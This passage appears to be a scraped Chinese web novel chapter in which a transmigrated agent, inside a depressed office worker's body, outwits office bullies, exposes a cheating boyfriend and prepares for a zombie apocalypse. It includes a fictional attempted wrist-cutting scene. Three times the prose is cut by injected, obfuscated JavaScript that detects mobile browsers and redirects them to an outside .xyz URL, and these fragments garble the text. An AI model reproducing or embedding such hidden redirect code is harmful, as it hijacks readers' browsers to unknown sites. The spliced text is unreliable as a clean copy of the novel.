《计划控的末日逆袭[无限]》 1. 打工人备战丧尸末日01 5月7日周二天气阴 北市东区某商务园区，共建有五座5A级写字楼，在这里集合了几百家中小型公司。 尚义传媒位于乙栋写字楼的22层，拥有近六十名员工。 苏小圆是其中普普通通的一员，她在这里已经工作了一年多，职务是活动执行专员。 苏小圆刚接了杯热水回到工位，旁边的李霖就凑了上来，“小圆，下周的展会摊位设计做得如何了？” “霖姐放心，设计公司和我说下午就提交初稿。”苏小圆摸到鼠标，眼睛直视屏幕，似乎不打算和李霖多说，自顾自回复工作信息。 李霖觉得今天苏小圆有点冷漠。以前和苏小圆搭话，她不管多忙，都会停下手上的工作，友善地看着她。今天她完全像变了一个人。 “吴姐可是很难搞的。你找的这家，第一次和咱们合作，到底行不行？”李霖不依不饶继续问道，这场展会的主要负责人是她，她很担心出纰漏。 “霖姐——”苏小圆手搭在键盘上，但脸终于转向了她，嘴角弯起，但眼里没笑，“你分配给展位设计和搭建的费用很低，还能找到公司承接，我已经尽力了。” 李霖听这话有点不开心。她也不想啊，她为了出彩找了几个舞者来表演，这都需要钱，预算是固定的，不能压缩其他项的开支，当然要从展位设计上克扣。不过，苏小圆说的话，大面上没错，她怼不回去。 “你这孩子，今天说话怎么这么冲？我这也是好心提醒你。”李霖努力表现得和蔼，压低声音对她说：“小圆啊，你知道吴姐这个老女人，平时有多挑剔。现在方案还没出，我给你支个招，下午方案有了，你直接给申总看。申总说可以了，吴姐也不能挑三拣四了。” “霖姐，你完啦！你怎么能说吴姐挑三拣四呢？那明明是对工作精益求精……”苏小圆扬了扬手机，笑嘻嘻地道：“我刚才录音了，我要发给吴姐听！” “你——”李霖吓得脸白了，她到底哪里惹到她了，犯得着录音？ “哎呀，你看你，哈哈——”苏小圆乐了，把屏幕激活，拿起手机在她眼前晃了晃，“我逗你的，别害怕，背后说领导坏话。霖姐你也不是三次、五次了。” “呵呵……”李霖意识到自己被耍了，却发不出火来。她感到诡异，眼前的苏小圆还是那个单纯容易被她甩锅的苏小圆吗？“小圆你可真爱开玩笑。不过你可以考虑我的意见，申总对细枝末节向来不挑。” “谢谢霖姐的意见，我会考虑的。” 苏小圆不再和李霖搭话，而是打开了会议系统，约了一小时后的小组会议。 这个case接的着急，给他们的准备时间和预算都紧张。 李霖作为牵头人，要顾全进展进度，这没有错。 吴芯作为她们的顶头上司，向来喜欢鸡蛋里挑骨头，且她的挑剔已经到了病态程度，时常不顾及任务时间有限。如果展会搭建图在她那里过不去，展位提前搭建不出来，周末展会就得交白卷。 李霖说的对，快而有效的办法，的确是跳过组长吴芯，直接向申应晖汇报。 但这里面有个大坑，越级汇报是职场大忌。 若苏小圆真这么做了，或许能迅速推进进度，可吴芯肯定得和她急眼。 这个锅，李霖合理地甩给了苏小圆。她李霖圆满地完成了项目，可谓一点不吃亏。 如果是以前，苏小圆的邮件或许已经发出去了。然而今天，她不会这么做。 因为现在的苏小圆，已经不是以前那个苏小圆了。 时间倒退回今天早晨，苏小圆从冗长的噩梦中惊醒。 最近她隔三差五噩梦，缓了半天，拿起手机看了眼，确认今天才是周二，苏小圆感到很绝望。 等着合租的室友欧月用完卫生间，她进去洗漱。 慢吞吞刷完牙齿，她发现自己的眉毛长了。苏小圆找出修眉刀，拔掉塑料套，望着锋利泛冷光的刀刃，她愣住了。 等到苏小圆反应过来，刀尖已经抵在自己手腕上，微微沁入肌肤一点，冒出血花。 她将刀丢掉，蹲在地上抱着自己的膝盖，大哭起来。 绝望感化成没有边际的墨色阴影，将她全身笼盖。 她每天上班、下班，几乎把所有精力用在了工作上，依然日日被否定。工作快两年了，还是一事无成。 苏小圆抬起头来，盯着地上的修眉刀，轻轻将它拾了起来，刀刃再次对准手腕，逐渐施加力量…… “小圆，你干嘛呢？”欧月敲打着卫生间的门，“你怎么每天都磨磨蹭蹭的？我不等你了，我先走了，车要赶不上了。” “嘭”的一声，客厅的门合上了，卫生间的门却打开了—— 走出来的人抬起手腕看了看，伤的并不深，伤口在手腕侧部，没到要害，还好承接这具身体承接得及时，苏小圆的刀还没割过去，要是再晚一点…… 岳晴吐了口气，不愿去想象。 “苏小圆，为了这些烂人，你何必去死？” 岳晴在关键时刻，穿越成为苏小圆，也继承了她的记忆，她迅速找到医药箱，消毒后，贴好了创口贴。 岳晴来自于科技高于此地的平行世界。 她曾是地球人类遗址发掘工程小组的组长，之前负责过的项目因为爆炸事故停止。她受伤严重，伤愈后被调职到下属于能源局的这个秘密分支机构。 在她所处的世界里，穿梭时空技术已经成熟。能源局的专家团通过数万次的精密试验，完善了利用能源装置淬炼人类精神力的技术。长期以来，精神力因萃取不易，价格居高不下，是很多星际组织、商业财团趋之若鹜的高效清洁能源。 岳晴被分配到的任务序列，任务代号为“丧人绝境逃生”。她负责收集那些所谓的失败者、倒霉蛋们，在绝境下爆发的求生欲望所产生的精神力。 任务开启后，岳晴穿越成为平行世界的某个绝望小人物，然后通过帮助他们获得成就感，逐渐点满萃取装置的精神值系统。系统收集精神力达到100%，意味任务成功，她就能够离开这个世界。 从任务序列代号就能看出，这并不是单一的“虐渣打脸”“废柴逆袭”的任务线。为了最大程度激发精神力，系统为她挑选的都是即将遭遇各类末日或人为灾难的世界。 她不仅要帮助原主对抗欺凌，恢复生活下去的意志，还要确保原主在末世来临时能够活下去。 在成为苏小圆后，岳晴虽然支配了这具身体，原主自动陷入了沉睡状态。但为了萃取精神力，系统保留了10%的原主意志。 一般情况下，10%的意志不会干扰岳晴做的绝大部分决定，除非是涉及其人格关键的底线问题。一旦岳晴违背，原主会阻止她施行。 - 就在刚和李霖对话的十分钟前，岳晴看见申应晖起身去茶水间，便迅速从抽屉拿出一袋挂耳咖啡，端起杯子跟了过去。 全公司都知道，申应晖的咖啡瘾很重，没有咖啡没办法工作。 岳晴今天吃完午饭就早早回来了，趁着没人，她把茶水间的咖啡都收起来了。 当申应晖在茶水间找不到速溶咖啡时，她及时献上了苏小圆珍藏的挂耳咖啡。申应晖对这个有眼力见的女孩很满意。 岳晴顺势和他提到——吴芯下午要和他们讨论甲方公司展位设计的事。她说大家都非常希望他能来帮着参谋，但组长吴芯担心他没时间，所以不好意思开这个口。申应晖心情不错，直接告诉她，自己有时间参会。 再然后，就是从茶水间出来，李霖暗示她，想让她直接跨级和申应晖汇报展位方案的事。 苏小圆挫败的理由，就是职场不顺利，从而产生严重的“习得性无助”。那既然要提升苏小圆的精神力，岳晴认为必须帮助苏小圆妥善完成工作。她不可能什么都不做，因此早在李霖撺掇她直接汇报前，她就已经行动了。 一小时后，吴芯及其组员共四人在会议室坐定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794015|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴芯发话让岳晴开始分享，岳晴说了句等等，就见申应晖走了进来—— 吴芯不解地看向组会人“苏小圆”，后者有点怯生生地看了一眼申应晖，又看了看吴芯，“吴姐，这次展会是我们的重点项目。正好申总也有时间，所以……” 吴芯向“苏小圆”刮过来一个眼刀子，倒也没当着上司的面发飙。 申应晖没注意她们的互动，看了眼表说道：“开始吧，我只有半小时时间。” “好的，申总。”岳晴不再管吴芯，以及一旁看热闹的李霖，打开了设计稿,开始流利地讲述，“为了保证这次的展台全方位呈现产品优势，我请设计公司给出了A、B两个方案，一款展位是开放式的，另一款展位则是……” 这个方案是苏小圆花了心思的，她昨天加班还在跟设计方过稿。与吴芯注重华而不实的外表不同，苏小圆希望真正让参观者拥有更好的参观体验，从而提升对产品的好感度。 脑海里存放的思路非常清晰，岳晴用十来分钟就说完了，说完之后，申应晖带头鼓起掌来。 吴芯等人见状，也跟着笑着鼓掌。 李霖在旁笑呵呵看热闹，心想这下苏小圆惨了！ 吴芯最忌讳的是下属比自己出色。以前有方案过会，吴芯会把工作任务分解下发，让他们去做ppt的不同板块，最后统一由她向上汇报。 如果上级对哪个部分特别满意，吴芯会说是自己亲自负责的…… 所以，苏小圆这次真是触了吴芯的逆鳞。亏她刚才还理直气壮拒绝自己的提议，结果自己给自己挖了个大坑！ “小圆这次两个方案都非常不错，我个人更倾向B方案。”申应晖夸奖完补充道：“其他没问题。甲方公司最近新升级了品牌VI，只要把展位门楣颜色微调成他们最新的色值就行。” “谢谢申总夸奖。不过这次的方案，多亏了吴姐指导，她昨天辛辛苦苦陪我和设计方对接到八点多。”岳晴感激地看向吴芯。 心里却在想，这女人陪是陪了，却是打着前辈指导后辈的旗号，在苏小圆这里找存在感和成就感，给她提了一堆琐碎、无用的意见。 “没有的事，我只是稍加指导，小圆这孩子一直都表现得很好。”吴芯佯作谦虚道，看向苏小圆的目光都比刚才柔和不少。 “申总，刚才吴姐也提醒我了配色问题，我还来不及跟设计方说要调。看来您和吴姐，都比我仔细多了，我还得向你们多多学习。”无中生有，只为哄得领导开心。 “吴组长，你们组最近氛围很好。你作为领导不居功，还能帮助小朋友成长。”申应晖表扬道：“这样吧，下次管理会，你准备个半小时的分享，给大家分享下你的管理经验。别让我失望。”说完申应晖也不磨叽，抱着笔电离开了会议室。 他人一走，岳晴立即开口道：“吴姐，你别生气。其实是霖姐担心咱们定了方案，还得给申总审核，时间太长了。就让我直接问问申总的时间，能不能一起过会。但是怕申总不同意，才让我直接请来申总……” “李霖，你也太自作主张了。”虽然是指责，但愤怒未及眼底，吴芯显然还沉浸在刚才领导的夸奖之中，“下次如果再出现这种情况，你的绩效分数就别要了。” 吴芯发完官威就忙自己的事去了，另外一个旁听的同事看气氛不对，也赶紧撤了。 李霖坐在原地没动，盯着不紧不慢收拾电脑的“苏小圆”，脸都绿了，咬牙切齿道：“你怎么敢……胡说八道？” “哎呀，霖姐，你该不会是生气了？”岳晴一只胳膊夹着笔电，另一手扬了扬手机，“我可有你说吴组长，鸡蛋里挑骨头，是老女人的录音……你别吓我，否则我放给她听听。” 岳晴心情愉悦地走出会议室，就看到眼前弹出一个白色发光的圆柱，正在匀速转动，接着传来系统提升音—— 恭喜萃取者岳晴，“首杀”达成。 精神力萃取进度10%， 请再接再厉！ 2. 打工人备战丧尸末日02 虽然除了岳晴以外，其他人听不见系统提示消息，及看到与之有关的一切全息呈现，但盯着空气自言自语太奇怪了。 岳晴走到了无人的楼梯间，确认上下一层都没人，才重新召唤系统，“请转智能客服——拉斐尔。” 拉斐尔是系统的AI显化形象，外观是一个七八岁的小男孩，有一头毛绒绒的栗色卷发。拉斐尔只有上半身，呈白色半透明态，建模粗糙，表情稍显呆滞，身体嵌置于白色圆形托盘上，“你好，萃取者岳晴。我有什么能帮助你的？” “请告诉我末日来临的具体时间？也请告诉我本次末日类型。” 信息生成中，请稍后…… 拉斐尔开始在圆盘上旋转，转了一分钟才稳住身形，“根据当前世界各类信息汇总，推算末日时间约为半个月后，具体时间无法确认，末日类型为[丧尸危机]。” “我去，丧尸……老梗了……”岳晴吐槽，可最怕也就是这个，并不是把所有物资囤好熬到原主精神力满格就行了。 当前系统不能够给她任何金手指，她不仅要逃生，还得让苏小圆在此过程中获得成就感，爆发蓬勃的精神力，难，真的难…… “勇敢晴晴，不怕困难！”拉斐尔僵硬的身体晃动着，操着它那口典型的机械口音，满嘴工业AI味儿，给岳晴加油道：“拉斐尔永远支持你~噢！” 岳晴一侧嘴角扬起，摸了摸半空中的光影，“谢谢你啊，拉斐尔。” - 岳晴回到工位，因为申应晖已经做主选定了B方案，不需要大修改。她告诉设计方简单调整颜色后，她今天的工作就算完成了。 岳晴打算下楼摸个时间比较长的鱼，于是把自动屏保解除，打开了一个表格文档停留在桌面，起身离开了工位。 目前摆在眼前的有两个挑战：第一，末日逃生；第二，找回苏小圆的自信心，获得成就感。 事分轻重缓急，末日已经就剩下半个月时间了。必须先以此为主。 然而，第二个挑战也不容忽视。 想要帮苏小圆获得成就感，绝不能直接辞职或请假到末日来那一天。 她必须遵从原主意志，按时上班打卡，帮她解决工作中遇到的困难，还要给那些欺负原主的人点教训。让她在哪里跌倒，就在哪里跑起来！ 近一个月内，无公共假日。苏小圆偶尔还会加班。 这样算起来，末日来时，如果是晚上，还刚好在家里，那就太幸运了。 如果是白天，有相当大的概率，她就正在这座大厦中上班。 所以她得两头准备，公司这边必须先了解所处大厦的内部结构，找好避难场所，并进行一定的食物储备。 站在下行电梯里，镜子将苏小圆的外形特征清晰呈现。岳晴对着镜子简要评估下：身高一米六五左右，体重一百三十斤上下。 尚义传媒是苏小圆的第一份正式工作。因为工作压力，她的饮食经常是放纵状态，而且几乎没什么运动。每天唯一的活动，就是往返地铁站的步行。 岳晴捏了捏肚子上的肉，不禁皱眉。这个身体状态，等到半个月后，基本就是被丧尸吞进嘴里的首批选手。 短期内大幅度提升体能是不可能了，但是必要的锻炼还是得做。 出了电梯，岳晴开始在一楼溜达。 脑海中苏小圆对于这座大厦的记忆有限。每天都是从固定的通道门进来，然后乘坐固定的电梯上楼，活动场所就是办公室、卫生间和一楼的咖啡店。 转了一会儿，岳晴发现这座大楼真的很复杂。 整个商务园区，共有五座办公楼，苏小圆所在的是乙栋楼。 写字楼呈扁平的鹅蛋状，有两个入口，分别为东北门和西南门。苏小圆常走的是西南门。西南门这一面，安装了玻璃外墙，下面有三扇门，一大两小。 系统目前无法准确告知丧尸的杀伤力，岳晴不确定他们是否有推倒玻璃的能力。但是这里人流密度大，如果是大批丧尸来袭，必然是不安全。 她认为得找到一个可以躲避的安全空间，最好很少人知道，且容易在丧尸潮退去后逃生。 大厦共有23层，4到23层为办公区，分为A座和B座，租给了不同的公司。办公楼层，可分别乘坐对应的电梯上行。 至于大厦的下三层，第一层是大堂，第二层和第三层，为商业楼层。下三层是连通的空间，没有区分A座和B座，分别设置了扶梯可以到达第二层和第三层。 除此以外，大厦按照消防要求，A座和B座都设置了紧急逃生楼梯，位于大楼的两侧位置。 丧尸如果来了，电梯和安全梯基本等于必死路线，到时必然拥挤了大量的尸群。 摸清楚了大概的情况，岳晴乘坐扶梯，打算去商业楼层看看。 她乘坐扶梯到达三层时，在楼梯口有两个男青年在发传单。 “小姐，铁鹰拳馆周年活动，充值一千送三百，充值三千送一千。了解一下吗？”其中一个青年朝岳晴递过来传单。 她接过来，扫了眼页面，是一个男人戴着拳套出拳的剪影，上面写了些促销信息。岳晴扫到其中一行写的是：199超值体验三课时！ 临阵磨枪不快也光。 岳晴突然来了兴趣，抬头看向对面两个正殷勤推销的青年，“我想先体验三节课再报名。” “当然可以！”青年兴奋地拿出手机，“美女是在楼上班吧？都说远亲不如近邻，美女怎么称呼？我们方便加个微信吗？我给您安排最好的教练！” “谢谢。我姓岳。”岳晴和青年加了微信，“我下午六点下班后有时间，约明天可以吗？” “可以，可以。”青年说，“那晚些时候，我把具体课程时间推送给你。” “好的。” 与拳馆的两个青年告别后，岳晴就准备回工位了。摸鱼时间太久，她担心李霖作妖。不着急一天转完，明天可以继续大楼的发现之旅。 - 回到工位上后，李霖没发作，组长吴芯走过来问她刚去哪里了？ 她说中午吃坏了东西，去卫生间了。 吴芯象征性关心了两句，倒没多说其他的，只说等下要和她对一对展会宣传稿的提纲。不过，她得先去开个会，过会儿来找她。 岳晴头大，吴芯酷爱加班。 每次苏小圆着急下班回家，她永远耐心备至的主动教她做事。和做实了坏人身份的李霖不同，吴芯对苏小圆从来没有展现出恶劣的一面。 不过，岳晴觉得她更可怕，骨子里的自卑转化为自大，喜欢在涉世未深的苏小圆身上找成就感。 岳晴决定卡着点下班，绝对不可能像苏小圆那样，一直等着吴芯过来“指导”。 吴芯走后，岳晴注意到手机屏幕亮了，是苏小圆男友陈超发来的微信。 [小圆，我回北市了，你下班后，我去你家找你？] 呵…… 岳晴以为帮苏小圆应付职场就够了，没想到还有感情线需要处理。 半年前，陈超调职到邻市。自此他对苏小圆越来越冷淡。 两个月前，苏小圆在陈超某音发布的视频下，留言发了一大串心，当晚有个叫漾漾的女生关注了苏小圆。 苏小圆记得这个女生，最近有给陈超留言过。 她点过去看，发现是个家境不错，热爱生活的女孩。漾漾的主页发了好多自己跳舞，还有养猫的小视频。 当时苏小圆没多想，后来去邻市看望男友，发现男友住处的猫和主动加自己的女生的猫长得一模一样，且穿着一样的小衣服。 她试探着问陈超，到底是怎么回事？ 陈超说那个女生是上司的女儿，正在追自己，但他因为有女友，所以拒绝了。 猫只是代为照顾几天，没有其他的。 苏小圆结合陈超住处的蛛丝马迹，并不相信他说的话，与之大吵一架，两人自此冷战了一个多月。 岳晴点开苏小圆的社交软件，翻到了漾漾的主页，看到她最近几条都是在北市著名景点游玩的视频。 脑子快速转了一下，岳晴点开漾漾的私聊窗口：[你好。] 对方竟然在线，快速回复了她：[？？？] 岳晴从手机里挑出来一张陈超和苏小圆的合影丢过去：[七点左右你有时间吗？] 下午6:10，吴芯从会议室走出来，在自己工位上喝了口水，理所当然走到苏小圆的工位，却发现那一排工位都空了。 她不解地给苏小圆发去信息：小圆，你怎么走了？ 苏小圆看到没回，过了二十分钟快下铁，才发过去：吴姐，我的记性真是太差了。忘记你说要对提纲了。 吴芯内心涌出一股不爽的感觉，忍下去了，没直接发作：最近你辛苦了，明天再对吧。 对你大爷！ 上班时间干什么去了！ 岳晴举着手机骂了一句，发过去一个饱含深意的笑脸表情。 下了地铁，岳晴没急着往家走。 她在苏小圆租住的小区周围转了一圈。为了减少开支，苏小圆住在郊区，远离繁华的市中心，这里人口密度稀疏，比写字楼那边安全多了。 又去市场买了点蔬菜和肉，岳晴拎着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794016|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往小区里走。 路上，她发了一条微信，得到确定回复后，她笑了笑。 电话这时候响起，岳晴一看，是陈超打来的。 她把电话接起来，对面居然是撒娇的语气：“宝贝，你到哪里了？我正在停车，马上到你家了。” “我还有十分钟就到。”岳晴不紧不慢道：“陈超，我买了菜，但忘记买饮料。你能在小区便利店买两瓶饮料吗？” “没问题。你还打算亲自下厨？”电话那头传来陈超开心的声音，“不用了宝贝，我就是想去你家看看你。我还有事情，陪不了你太久。” 许久不见，不说请苏小圆吃饭，直接就想上人家女生家里。这意思再明显不过，都劈腿了，还想着占别人便宜，这个陈超……简直了。 “哦，这样啊。那你买好饮料，在小区中央花园等我，我们一起上去。” “好嘞，没问题。” 小区没有停车位，陈超一般会把车停在最近的收费停车场，然后步行从小区北门进入。便利店就在小区中央花园北侧，陈超应该会顺路先去买饮料，再走到花园中。 岳晴约的另外一个客人，她推送的是南门的入口，她让她到中央花园南侧的小区配套幼儿园门口等。岳晴检索苏小圆在小区里遛弯的记忆知道，如果站在幼儿园门口，视线可达中心花园。 岳晴走到中心花园，正好见陈超站在小区便利店门口结账的身影。 她也没想到时间能卡到这么准，本来只是计划三人当面对质。既然如此，就请客人看场好戏！ 她转头望向幼儿园门口，有个穿浅紫色连衣裙的长发女生站在那里。她对她摇了下手，然后点了点自己的手机，示意她看信息： [如果你愿意，请你看场好戏。] 她告诉对方可以从林荫小路走过来，在白色的岳飞雕像后停下等待…… 等岳晴发完信息，陈超刚好走到她跟前。他看起来心情很好，手里拿着两瓶“透心凉”气泡水，“宝贝，终于见到你了。我可想死你了。” “是吗？”岳晴拿过一瓶饮料，慢慢拧开瓶盖，却没有喝，“陈超，我们冷战了快两个月，你就没什么对我说的吗？” “宝贝，我错了。我这就是来和你道歉的。” 这人不管是不是有错，上来就道歉，根本不在乎矛盾是否解决，只想拥苏小圆入怀占便宜。 “陈超，你放开我——”岳晴甩开陈超已经握住她两侧肩膀的手，掐着嗓子说话像快哭了似的，“你上次说那个女生一直追你，缠着你……你这两个月没怎么联系我，你们现在是不是在一起了？” “瞎说！宝贝，我只爱你一个人。”陈超看起来很委屈，言语中却藏不住不耐烦，“我这两个月都在忙项目，每天忙的像陀螺，哪有什么女生啊。而且谁能和你比？我们可是有三年多的感情呢，我们是要结婚的。” “那……我想听你说，你爱我，不爱别人。”岳晴说这话时，差点要yue出来，她奇怪那个女孩，怎么还没发作？再不出来，她也演不下去了。 陈超举起手作发誓状，“我只爱苏小圆，没有什么别人……！” “陈超——你骗我！”漾漾终于忍不了了，从岳飞雕像后冲了出来，“你说这个女的一直纠缠你，原来是你的女朋友！” 岳晴趁陈超被漾漾吸引去了注意力，把饮料从陈超头顶浇了下去，“死渣男，到处骗女孩感情，你去死吧！” 陈超发现自己被骗了，被淋了饮料那一刻，一下子急火攻心，伸手就要打“苏小圆”。 苏小圆身体协调性较差，纵然岳晴有格斗基础，闪躲的速度慢了很多，对付陈超倒也足够了。 一击不中，陈超又要上来打人，却被突然不知道从哪里冒出来的第三个女生揪住了。 来人是苏小圆的室友欧月。 苏小圆和欧月极快交换了下眼神，拿着各自的包朝陈超的头抡去。 刚刚发现自己被渣的漾漾没有加入，但也没有拉架，在一旁哭唧唧地看着…… 岳晴：“死渣男，你没工作的时候，我给你花了多少钱？你这忘恩负义的东西。” 欧月：“居然敢打小圆，敢打女人！我打死你！” 陈超开始还挣扎了几下，后面就不还手了，抱着头蹲在地上，像刺猬似的，灰溜溜缩成一团。 “恭喜宿主岳晴，精神力提取进度上升至15%，请再接再厉！” 支线虐渣男也有奖励？ 岳晴抽空看了眼上方弹出的进度条提示。 只给了5%，看来苏小圆不是恋爱脑，这个陈超在她心里不过如此。 3. 打工人备战丧尸末日03 打累了，岳晴和欧月就停手了。陈超知道不可能挽回苏小圆了，拉着漾漾的手卖惨！漾漾一把甩开他的手，扭头就走。 岳晴没工夫再理他们，搀着欧月的胳膊，往她们家走。 欧月以为“苏小圆”心情不好，跟她说话小心翼翼的，也不敢多问她和陈超的事。 岳晴到家做了两人的晚餐，吃完欧月进屋刷剧后，岳晴开始盘点起现在租住的这套房子的构造来。 这是套上世纪建成的老房子，两室一厅，南北各一个阳台，一大一小。 房子位于四楼，没有电梯，窗子上焊接有防盗的铁栏杆。 她拿着手电，拉开每一扇窗户认真查看，用手拉了拉，防盗栏仍然十分牢固。 房子大概看一遍，也就十分钟。岳晴认为目前没什么特别大的bug。 关于安全方面，铁栏不仅能够防丧尸，还能防止灾难爆发后，缺水缺食的邻居爬进来偷东西。 不足是现在的防盗门有点老化了，看起来不太安全。 其次，是关于囤积物资的问题—— 她打算自费把冰箱换了。虽然丧尸来袭后，有极大的断电可能性。可若万一有电的时间很长，她多存点货还是更有优势的。 居住地点人口稀少，安全度高。如果丧尸来袭，她在家里，那太好了。 如果她在公司，那就要想办法从公司转移到家里。 这样即便是后续她离开这个世界了，苏小圆也能活得更久，甚至有可能顺利度过此次灾难。 有了粗略的计划后，岳晴回屋打开了苏小圆的电脑，开始列购买清单：主要是耐常温存放的食物，以及一些必须的生存类物品。 在她生活的世界里，历史上也曾爆发过丧尸危机。彼时以牺牲一半多人口为代价，将危机压制住了。其后，为了防止危机再次爆发，人类启动了星际移民计划。 通过他们那个世界的纪录片和文学作品，还有一些工作中得到的信息，岳晴大脑里有一些基础逃生知识储备。 她担心不够完善，打算借助这个世界的智慧，于是打开了短视频APP，想搜索下相关信息。 APP下方有新的提示信息，岳晴打开一看，是漾漾。 对方问：[我能再给你打个电话吗？] 下午为了见面，岳晴给过她电话号码，但没加微信。 岳晴回复：[可以。] 十分钟后，电话就打过来了。 彼端传来的声音，有些沙哑，应该是哭过，“你好，非常抱歉，这么晚打扰你。” “没关系，你是想问陈超的事？” “不是，我已经和他分手了。他就是个渣男！” 岳晴勾起嘴角：“很高兴你意识到这点。” 漾漾在那边顿了两秒。 “我是想跟你道歉。我真的不知道他有女友。之前关注你，也是看你经常给他留言。我问他这是谁，他说你是他的追求者。” “所以你当时关注了我，是为了盯着我吧。”岳晴把脚翘到了桌上，刚才列末日物资有点累了，用手掐了恰自己的鼻梁，不介意和她聊几句放松片刻，“怕我惦记你男朋友？” “当时是的，很抱歉。我打来就是想告诉你，我不是知三当三，我是被陈超这个贱人骗了。” 这个岳晴猜到了，一个人发布的视频，关注的内容，约略可以看出她的性格和价值观。她的直觉告诉她，漾漾不是插足者。 不过知人知面不知心，也说不好。 下午她也就是想试试看。 陈超让苏小圆不痛快，岳晴就不想让他痛快。 “嗯，你的道歉，我收到了。”她只能代为收到，不能代替苏小圆说接受。 “那就好，没有别的事了。再见。”漾漾挂断了电话。 挂电话倒是挺快……她打来就是怕被当成小三。 岳晴没在这个小插曲上多耽搁，继续在几个APP上搜集信息，完善了自己的清单。当天晚上，她就完成了大部分食物类的采买。剩下的明天到公司继续购买。 大件还包括冰箱和防盗门。她打算冰箱买个二手的。防盗门周五定好，让安装师傅周末安装。 5月8日周三天气阴转小雨 第二天，岳晴照例去上班。 她准时到达办公室后，发现行政经理老王，正在办公室溜达。 岳晴懒得理，打开电脑，坐了快半小时，电脑屏幕右下角的时间就跳到了9:26，岳晴看到吴芯经过她身边。 她主动站起来，笑着问：“吴姐，提纲我准备好了，我们现在开始对吗？” “等下再说，我这儿有点事情……”吴芯面色有点难看，匆匆从岳晴所在的工位走过。 虽然吴芯一直谈不上从容、镇定，但这种失魂落魄的样子，还真不常见。 不知道是不是因为一直沉浸在末日即将到来的心情里，岳晴感到自己有点紧张，看什么都不对劲儿。她做了几组深呼吸，告诉自己冷静。 10:00左右，李霖对岳晴说，甲方公司要来开展会的进度会，让她先去准备一些矿泉水和零食摆到会议室去。 岳晴没拒绝，她也想看看小仓库里有多少零食和水的储备。 尚义传媒经常接待不同的客户，行政那边统一采购了一些精装的小瓶矿泉水，和一些贵价的零食放在小储藏间内。 小储藏间距离大部分人所在的开放式工位较远，与一间会议室毗邻。 岳晴走到小仓库门口，听到旁边会议室内传出了吴芯的哭声。 岳晴竖起了耳朵—— “康经理，我在公司快十年了。你们怎么能让我说走就走呢？”吴芯的声音哽咽得厉害，“昨天申总还夸我管理做得好，让我在管理会上汇报呢！我不相信申总答应让我走……” “吴芯，你清醒一点。现在公司经营已经很困难了。公司要裁你，根本不会跟你讲你在公司呆了多长时间。”HR康颂莎叹了口气，“这事已经不用知会申应晖了，他在公司呆不长了，人家已经找好下家，另谋高就了。你也别把他当‘救世主’供着。” 是了，岳晴想，康颂莎代表公司利益，公司如果决定让你走，不会跟任何员工讲情面。至于申应晖，典型的精致利己主义者，能干，却极其自私。他如果另谋高就了，不会在乎其他下属的死活。 不再听墙角，岳晴进小仓库大致轻点了存货。发现这里面有两箱350ml矿泉水，剩下一箱半，还有三箱小零食，大概还有三分之二的量。 尚义传媒有不到70人，这些东西满打满算，在秩序良好、公平分配前提下，够大家勉强维持两三天生命体征吧。 布置好接待室，岳晴再和李霖一起陪甲方过完会，已经到中午了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794017|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岳晴和同事一起吃完饭，回到办公室趴了二十分钟，为下午的摸鱼储存充足动力。 趴着的时候，她分析了下尚义传媒的现状。 公司经营不善，有能力的员工如申应晖离巢，在公司耗日子的老员工如吴芯被裁员，都是必然操作。先动了组长吴芯，有一定可能性是公司暂时没打算连锅端掉苏小圆所在的B组，想先留下这些真正干活的人…… 岳晴本人不怕裁员，马上就世界末日了，谁要在这破公司等死啊。她是担心会打击到苏小圆，不利于她完成任务。所以公司不发话，她就先苟着，姑且走走看。 下午2:00上班以后，行政经理老王继续在办公室“巡逻”，查看哪个员工还没有回到工位。最近频频如此，尚义传媒内部谣言四起，都说严查考勤意味着公司要黄了…… 岳晴不想拖苏小圆后腿，除了正常去洗手间，下午没有再去大楼里探索。 她打算下班再去楼里逛逛，于是跟拳馆的人支会了声，从6：10上课延迟为6：40。 下午李霖忙着根据客户需求修改方案。吴芯心情不佳请假了，想来没有和HR谈拢。两个人都顾不上作妖，岳晴提交了日报，准时下班。 她昨天在楼下几层大致转过了，今天打算摸一摸楼顶的情况。 大楼的商务层的B栋和A栋是不连通的。 如B栋，单独设有一处安全通道和货梯间。 货梯间主要供保洁人员和维修人员运输垃圾和情节设备。 尚义传媒位于22层。她爬了一层至23层，右手边的门推开就到23层的办公区。岳晴没出去，继续往上爬了半层，被一扇门挡住了前路。她试着拉了一下门，很轻松地拉开了。 门外是大楼的天台。 天台本应该是锁住的，但从地上的烟头、速食品的包装看来，显然有牛马在打工间隙到这里摸鱼。门可能是被他们拉开的。 这个小天台并没有多大，相邻处还有另一个天台，属于A栋。 